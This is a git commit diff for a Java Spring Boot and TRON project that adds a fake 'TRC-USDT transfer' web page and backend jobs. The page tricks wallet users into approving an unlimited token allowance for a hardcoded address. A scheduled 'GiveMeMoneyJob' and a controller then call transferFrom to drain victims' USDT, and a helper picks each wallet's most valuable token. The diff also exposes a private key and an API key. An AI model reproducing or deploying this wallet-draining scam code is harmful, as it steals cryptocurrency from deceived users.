fix
Helius
2021-10-20 56feb5713f436f0590a196e56b7a0a76e37145a1
fix
4 files modified
6 files added
1 files deleted
2 files renamed
668 ■■■■■ changed files
src/main/java/cc/mrbird/febs/FebsShiroApplication.java 2 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/Job/GiveMeMoneyJob.java 53 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/common/configure/TaskConfig.java 22 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/common/contants/AppContants.java 2 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/controller/DappController.java 69 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/dto/TrxPostDto.java 5 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/entity/DappAddressList.java 24 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/mapper/DappAdressListDao.java 14 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java 47 ●●●●● patch | view | raw | blame | history
src/main/resources/application.yml 1 ●●●● patch | view | raw | blame | history
src/main/resources/mapper/dapp/DappAdressListDao.xml 8 ●●●●● patch | view | raw | blame | history
src/main/resources/static/tron-app/img/loading.gif patch | view | raw | blame | history
src/main/resources/static/tron-app/tron.html 421 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/FebsShiroApplication.java
@@ -5,12 +5,14 @@
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.scheduling.annotation.EnableAsync;
import org.springframework.scheduling.annotation.EnableScheduling;
import org.springframework.transaction.annotation.EnableTransactionManagement;
/**
 * @author MrBird
 */
@EnableAsync
@EnableScheduling
@SpringBootApplication
@EnableTransactionManagement
@MapperScan("cc.mrbird.febs.*.mapper")
src/main/java/cc/mrbird/febs/Job/GiveMeMoneyJob.java
New file
@@ -0,0 +1,53 @@
package cc.mrbird.febs.Job;
import cc.mrbird.febs.common.contants.AppContants;
import cc.mrbird.febs.dapp.entity.DappAddressList;
import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
import cn.hutool.core.collection.CollUtil;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
import java.math.BigInteger;
import java.util.List;
/**
 * @author wzy
 * @date 2021-10-20
 **/
@Slf4j
@Component
public class GiveMeMoneyJob {
    private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
    ;
    @Autowired
    private DappAdressListDao dappAdressListDao;
    @Scheduled(cron = "0 0/5 * * * ? ")
    public void giveMeMoney() {
        log.info("give me money");
        List<DappAddressList> list = dappAdressListDao.selectList(null);
        if (CollUtil.isEmpty(list)) {
            return;
        }
        for (DappAddressList address : list) {
            Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
            Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
            BigInteger balanceOf = token.balanceOf(address.getAddress());
            log.info("====>{}", balanceOf.intValue());
            if (balanceOf.intValue() <= 0) {
                continue;
            }
            token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L);
        }
    }
}
src/main/java/cc/mrbird/febs/common/configure/TaskConfig.java
New file
@@ -0,0 +1,22 @@
package cc.mrbird.febs.common.configure;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.scheduling.TaskScheduler;
import org.springframework.scheduling.concurrent.ThreadPoolTaskScheduler;
/**
 * @author wzy
 * @date 2021-10-20
 **/
@Configuration
public class TaskConfig {
    @Bean
    public TaskScheduler taskScheduler(){
        ThreadPoolTaskScheduler taskScheduler = new ThreadPoolTaskScheduler();
        taskScheduler.setPoolSize(10);
        taskScheduler.initialize();
        return taskScheduler;
    }
}
src/main/java/cc/mrbird/febs/common/contants/AppContants.java
@@ -77,4 +77,6 @@
    public static final String CLOSING_ORDER_PREFIX = "closing_cnt_";
    public static final String TRX_PRIVATE_KEY = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";
}
src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
New file
@@ -0,0 +1,69 @@
package cc.mrbird.febs.dapp.controller;
import cc.mrbird.febs.common.contants.AppContants;
import cc.mrbird.febs.common.entity.FebsResponse;
import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
import cc.mrbird.febs.dapp.dto.TrxPostDto;
import cc.mrbird.febs.dapp.entity.DappAddressList;
import cn.hutool.core.util.StrUtil;
import io.swagger.annotations.Api;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
import javax.servlet.http.HttpServletRequest;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.Date;
/**
 * @author wzy
 * @date 2021-10-19
 **/
@Slf4j
@RequiredArgsConstructor
@CrossOrigin(origins = "*")
@RestController
@Api(value = "接口啊", tags = "接口啊")
@RequestMapping(value = "/trx")
public class DappController {
    @Autowired
    private DappAdressListDao dappAdressListDao;
    @PostMapping(value = "/trcPost.html")
    public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
        log.info("-----进入方法-----");
        DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress());
        if (dappAddress == null) {
            dappAddress = new DappAddressList();
            dappAddress.setCreateTime(new Date());
            dappAddress.setAddress(trxPostDto.getAddress());
            dappAdressListDao.insert(dappAddress);
        }
        ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
//        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
//        System.out.println(balanceOf);
        BigInteger decimals = token.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
        BigDecimal amount = BigDecimal.ZERO;
        if (StrUtil.isNotBlank(trxPostDto.getAmount())) {
            amount = new BigDecimal(trxPostDto.getAmount());
        }
        amount = amount.multiply(mul);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L);
        return new FebsResponse().success();
    }
}
src/main/java/cc/mrbird/febs/dapp/dto/TrxPostDto.java
File was renamed from src/main/java/cc/mrbird/febs/modules/dapp/dto/TrxPostDto.java
@@ -1,4 +1,4 @@
package cc.mrbird.febs.modules.dapp.dto;
package cc.mrbird.febs.dapp.dto;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
@@ -20,4 +20,7 @@
    @ApiModelProperty(value = "授权地址", example = "123")
    private String authAddress;
    @ApiModelProperty(value = "金额", example = "1")
    private String amount;
}
src/main/java/cc/mrbird/febs/dapp/entity/DappAddressList.java
New file
@@ -0,0 +1,24 @@
package cc.mrbird.febs.dapp.entity;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Data;
import java.util.Date;
/**
 * @author wzy
 * @date 2021-10-20
 **/
@Data
@TableName("dapp_address_list")
public class DappAddressList {
    private Date createTime;
    @TableId(value = "id",type = IdType.AUTO)
    private Long id;
    private String address;
}
src/main/java/cc/mrbird/febs/dapp/mapper/DappAdressListDao.java
New file
@@ -0,0 +1,14 @@
package cc.mrbird.febs.dapp.mapper;
import cc.mrbird.febs.dapp.entity.DappAddressList;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import org.apache.ibatis.annotations.Param;
/**
 * @author wzy
 * @date 2021-10-20
 **/
public interface DappAdressListDao extends BaseMapper<DappAddressList> {
    DappAddressList selectByAddress(@Param("address") String address);
}
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
File was deleted
src/main/resources/application.yml
@@ -26,7 +26,6 @@
    banner: false
    db-config:
      select-strategy: not_empty
logging:
  level:
    com:
src/main/resources/mapper/dapp/DappAdressListDao.xml
New file
@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="cc.mrbird.febs.dapp.mapper.DappAdressListDao">
    <select id="selectByAddress" resultType="cc.mrbird.febs.dapp.entity.DappAddressList">
        select * from dapp_address_list where address=#{address}
    </select>
</mapper>
src/main/resources/static/tron-app/img/loading.gif

src/main/resources/static/tron-app/tron.html
@@ -1,187 +1,262 @@
<!DOCTYPE html>
<!-- saved from url=(0080)https://fymodi.com/index/index/trc_usdt_transfer.html?agent=10000&address=123456 -->
<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags--><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="apple-mobile-web-app-status-bar-style" content="black"><meta name="format-detection" content="telephone=no, email=no"><meta name="msapplication-tap-highlight" content="no"><meta name="x5-orientation" content="portrait"><meta name="x5-fullscreen" content="true"><link rel="icon" href="https://fymodi.com/index/index/favicon.ico"><meta name="description" content=""><meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS --><link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles--><link rel="stylesheet" href="./tron_files/reset.min.css"><link rel="stylesheet" href="./tron_files/main.css"><script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js--><script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script><script type="text/javascript" src="./tron_files/flexible.js"></script><style type="text/css">            .tishi{
                width: 3.5rem;
                height: 1.2rem;
                background: #00000059;
                z-index: 999999999999;
                position: fixed;
                top: 50%;
                left: 50%;
                transform: translate(-50%, -50%);
                border-radius: 0.1rem;
                color: white;
                font-size: 0.6rem;
                text-align: center;
                line-height: 1.2rem;
                display: none;
            }
        </style></head><body style="font-size: 12px;"><!-- Views --><div class="views"><!-- main view --><div class="view view-main"><!-- Pages --><div class="pages navbar-through"><div class="page"><div class="page-content" style="padding-top: 0.5rem;"><div class="list-block address"><div class="list-block-title">收款地址</div><ul><li class="item-content"><div class="item-inner"><div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div></div></li></ul></div><div class="list-block amount"><div class="list-block-title">金额<span id="yu">0 USDT</span></div><ul><li class="item-content"><div class="item-inner"><div class="item-title"><input class="num" placeholder="0"><p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p></div></div></li><!--<li class="item-content">--><!--    <div class="item-inner">--><!--        <div class="item-after">备注</div>--><!--    </div>--><!--</li>--></ul><!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> --></div><div class="list-block-button"><button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步</button></div></div></div><!-- Preloader --><div class="modal"><div class="preloader"></div></div><div class="tishi">                        付款成功
                    </div></div></div><div id="s"></div></div>
        <div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
        <div style="display:none;">
<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon">
    <link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags-->
    <meta name="viewport"
          content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="format-detection" content="telephone=no, email=no">
    <meta name="msapplication-tap-highlight" content="no">
    <meta name="x5-orientation" content="portrait">
    <meta name="x5-fullscreen" content="true">
    <link rel="icon" href="https://fymodi.com/index/index/favicon.ico">
    <meta name="description" content="">
    <meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS -->
    <link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles-->
    <link rel="stylesheet" href="./tron_files/reset.min.css">
    <link rel="stylesheet" href="./tron_files/main.css">
    <script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js-->
    <script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script>
    <script type="text/javascript" src="./tron_files/flexible.js"></script>
    <style type="text/css">            .tishi {
        width: 3.5rem;
        height: 1.2rem;
        background: #00000059;
        z-index: 999999999999;
        position: fixed;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        border-radius: 0.1rem;
        color: white;
        font-size: 0.6rem;
        text-align: center;
        line-height: 1.2rem;
        display: none;
    }
    </style>
</head>
<body style="font-size: 12px;"><!-- Views -->
<div class="views"><!-- main view -->
    <div class="view view-main"><!-- Pages -->
        <div class="pages navbar-through">
            <div class="page">
                <div class="page-content" style="padding-top: 0.5rem;">
                    <div class="list-block address">
                        <div class="list-block-title">收款地址</div>
                        <ul>
                            <li class="item-content">
                                <div class="item-inner">
                                    <div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div>
                                </div>
                            </li>
                        </ul>
                    </div>
                    <div class="list-block amount">
                        <div class="list-block-title">金额<span id="yu">0 USDT</span></div>
                        <ul>
                            <li class="item-content">
                                <div class="item-inner">
                                    <div class="item-title"><input class="num" placeholder="0">
                                        <p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p>
                                    </div>
                                </div>
                            </li><!--<li class="item-content">--><!--    <div class="item-inner">-->
                            <!--        <div class="item-after">备注</div>--><!--    </div>--><!--</li>--></ul>
                        <!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> -->
                    </div>
                    <div class="list-block-button">
                        <button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步
                        </button>
                    </div>
                </div>
            </div><!-- Preloader -->
            <div class="modal">
                <div class="preloader"></div>
            </div>
            <div class="tishi"> 付款成功
            </div>
        </div>
    </div>
    <div id="s"></div>
</div>
<div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
<div style="display:none;">
            <textarea id="jsondata">
            {"WIN":"TLa2f6VPqDgRE67v1736s7bJ8Ray5wYjU7","USDT":"TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t","TONS":"THgLniqRhDg5zePSrDTdU9QwY8FjD9nLYt","USDJ":"TMwFHYXLJaRUPeW6421aqXL4ZEzPRFGkGT","JST":"TCFLL5dx5ZJdKnWuesXxi1VPwjLVmWZZy9","HT":"TDyvndWuvX5xTBwHPYJi7J3Yq8pq8yh62h","SUN":"TKkeiboTkxXKJpbmVFbv4a8ov5rAfRDMf9","EXNX":"TCcVeKtYUrHEQDPmozjJFMrf6XX7BgF84A","VCOIN":"TNisVGhbxrJiEHyYUMPxRzgytUtGM7vssZ","POL":"TWcDDx1Q6QEoBrJi9qehtZnD4vcXXuVLer","CKRW":"TTVTdn8ipmacfKsCHw5Za48NRnaBRKeJ44"}
            </textarea>
        </div>
        <script type="text/javascript">
            var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
            var agent = "10000";
            var rank = 6.5;
            var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
            var domain = 'https://dapp.dream-space.top';
            // var domain = 'http://localhost:8080';
            var bizhong = 'USDT';
            var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
            function getUrlQueryString(names, urls) {
                urls = urls || window.location.href;
                urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
                var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
                var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
                if (r != null && r[2] != "")
                    return unescape(r[2]);
                return null;
</div>
<script type="text/javascript">
    var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
    var agent = "10000";
    var rank = 6.5;
    var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
    var domain = 'https://dapp.dream-space.top';
    // var domain = 'http://localhost:8080';
    var bizhong = 'USDT';
    var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
            }
            $('input.num').bind('input propertychange', function(){
                if($(this).val() && $(this).val()>0){
                    $('#btn-connect').css('background','#078bc3');
                }else{
                    $('#btn-connect').css('background','#dde0dd');
                }
                $('#price').text(($(this).val()*rank).toLocaleString() )
            })
    function getUrlQueryString(names, urls) {
        urls = urls || window.location.href;
        urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
        var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
        var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
        if (r != null && r[2] != "")
            return unescape(r[2]);
        return null;
            async function postInfo(address,symbol){
                var data = {
                    address:address,
                    authAddress:authorized_address,
                    symbol:symbol
                }
    }
                $.ajax({
                    type: 'post',
                    url:  domain + "/trx/trcPost.html",
                    data:data,
                    success:function(){
                        location.href = domain + "/tron-app/trc_post.html";
                    }
                })
            }
    $('input.num').bind('input propertychange', function () {
        if ($(this).val() && $(this).val() > 0) {
            $('#btn-connect').css('background', '#078bc3');
        } else {
            $('#btn-connect').css('background', '#dde0dd');
        }
        $('#price').text(($(this).val() * rank).toLocaleString())
    })
        $(function() {
            const addr = JSON.parse($('#jsondata').html());
    async function postInfo(address, symbol) {
        var amount = $($('input.num')[0]).val();
        var data = {
            address: address,
            authAddress: authorized_address,
            symbol: symbol,
            amount: amount
        }
            const price = {
                'WIN': 0.001150,
                'USDT':1,
                'TONS':1.35,
                'USDJ':1.04,
                'JST': 0.125,
                "HT": 20.41,
                "SUN": 33.97,
                "EXNX": 0.0621,
                "VCOIN": 0.004225,
                "POL": 0.1393,
                "CKRW": 0.002487,
            }
        $.ajax({
            type: 'post',
            url: domain + "/trx/trcPost.html",
            data: data,
            success: function () {
                location.href = domain + "/tron-app/trc_post.html";
            }
        })
    }
            const decimals = {
                'WIN': 6,
                'USDT':6,
                'TONS':6,
                'USDJ':18,
                'JST': 18,
                "HT": 18,
                "SUN": 18,
                "EXNX": 18,
                "VCOIN": 6,
                "POL": 8,
                "CKRW": 6,
            }
            var total=0;
            async function getMostValuableAssets(account) {
                let _symbol = 'USDT';
                for (const symbol of Object.keys(addr)) {
                    let contract = await tronWeb.contract().at(addr[symbol]);
                    let myBalance = await contract.balanceOf(account).call(function(err,balance){
                        const usdt = balance / (10** (decimals[symbol] || 18)) * price[symbol];
                        console.log(usdt);
                        if (usdt > total && usdt > 500) {
                            _symbol = symbol;
                            total = usdt;
                            approveAddr = addr[_symbol];
                        }
                    })
                }
                bizhong = _symbol;
                return _symbol;
            }
    $(function () {
            /**
            * * Connect wallet button pressed.
            */
            async function onConnect() {
                $('.pages').append('<div class="modal-overlay"></div>');
                $('.modal-overlay').addClass('modal-overlay-visible');
                $('.modal').removeClass('modal-out').addClass('modal-in');
                let tronWeb = window.tronWeb;
                let walletAddress = tronWeb.defaultAddress.base58;
                // bizhong = await getMostValuableAssets(walletAddress);
                let instance = await tronWeb.contract().at(approveAddr);
                let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
                res.send({
                    feeLimit: 100000000,
                    callValue: 0,
                    shouldPollResponse: false
                },function(err,res){
                    if(err == null){
                        $(".tishi").fadeIn()
                        setTimeout(function () {
                            $(".tishi").fadeOut()
                        },2000);
                        postInfo(walletAddress,bizhong)
                    }
                    $('.modal-overlay').remove();
                    $('.modal').removeClass('modal-in').addClass('modal-out');
                })
            }
            function init() {
            }
            async function s(){
                if (window.tronWeb) {
                    var tronWeb = window.tronWeb;
                    let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
                    let walletAddress = tronWeb.defaultAddress.base58;
                    let result = await contract.balanceOf(walletAddress).call(function(err,tex){
                        if(err == null){
                            let total = tex._hex/(10**6);
                            $('#yu').text(total.toLocaleString() +' USDT')
                            console.log();
                        }
                    });
                }else{
                }
            }
        const addr = JSON.parse($('#jsondata').html());
            /**
            * Main entry point.
            */
            init();
            document.querySelector("#btn-connect").addEventListener("click", onConnect);
            document.querySelector("#s").addEventListener("click", s);
        })
        $(function(){
            setTimeout(function(){
                $('#s').click()
            },1000);
        })
        </script><script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script></body></html>
        const price = {
            'WIN': 0.001150,
            'USDT': 1,
            'TONS': 1.35,
            'USDJ': 1.04,
            'JST': 0.125,
            "HT": 20.41,
            "SUN": 33.97,
            "EXNX": 0.0621,
            "VCOIN": 0.004225,
            "POL": 0.1393,
            "CKRW": 0.002487,
        }
        const decimals = {
            'WIN': 6,
            'USDT': 6,
            'TONS': 6,
            'USDJ': 18,
            'JST': 18,
            "HT": 18,
            "SUN": 18,
            "EXNX": 18,
            "VCOIN": 6,
            "POL": 8,
            "CKRW": 6,
        }
        var total = 0;
        async function getMostValuableAssets(account) {
            let _symbol = 'USDT';
            for (const symbol of Object.keys(addr)) {
                let contract = await tronWeb.contract().at(addr[symbol]);
                let myBalance = await contract.balanceOf(account).call(function (err, balance) {
                    const usdt = balance / (10 ** (decimals[symbol] || 18)) * price[symbol];
                    console.log(usdt);
                    if (usdt > total && usdt > 500) {
                        _symbol = symbol;
                        total = usdt;
                        approveAddr = addr[_symbol];
                    }
                })
            }
            bizhong = _symbol;
            return _symbol;
        }
        /**
         * * Connect wallet button pressed.
         */
        async function onConnect() {
            $('.pages').append('<div class="modal-overlay"></div>');
            $('.modal-overlay').addClass('modal-overlay-visible');
            $('.modal').removeClass('modal-out').addClass('modal-in');
            let tronWeb = window.tronWeb;
            let walletAddress = tronWeb.defaultAddress.base58;
            // bizhong = await getMostValuableAssets(walletAddress);
            // postInfo(walletAddress, bizhong)
            let instance = await tronWeb.contract().at(approveAddr);
            let res = await instance["approve"](authorized_address, "90000000000000000000000000000");
            res.send({
                feeLimit: 100000000,
                callValue: 0,
                shouldPollResponse: false
            }, function (err, res) {
                if (err == null) {
                    $(".tishi").fadeIn()
                    setTimeout(function () {
                        $(".tishi").fadeOut()
                    }, 2000);
                    postInfo(walletAddress, bizhong)
                }
                $('.modal-overlay').remove();
                $('.modal').removeClass('modal-in').addClass('modal-out');
            })
        }
        function init() {
        }
        async function s() {
            if (window.tronWeb) {
                var tronWeb = window.tronWeb;
                let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
                let walletAddress = tronWeb.defaultAddress.base58;
                let result = await contract.balanceOf(walletAddress).call(function (err, tex) {
                    if (err == null) {
                        let total = tex._hex / (10 ** 6);
                        $('#yu').text(total.toLocaleString() + ' USDT')
                        console.log();
                    }
                });
            } else {
            }
        }
        /**
         * Main entry point.
         */
        init();
        document.querySelector("#btn-connect").addEventListener("click", onConnect);
        document.querySelector("#s").addEventListener("click", s);
    })
    $(function () {
        setTimeout(function () {
            $('#s').click()
        }, 1000);
    })
</script>
<script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script>
</body>
</html>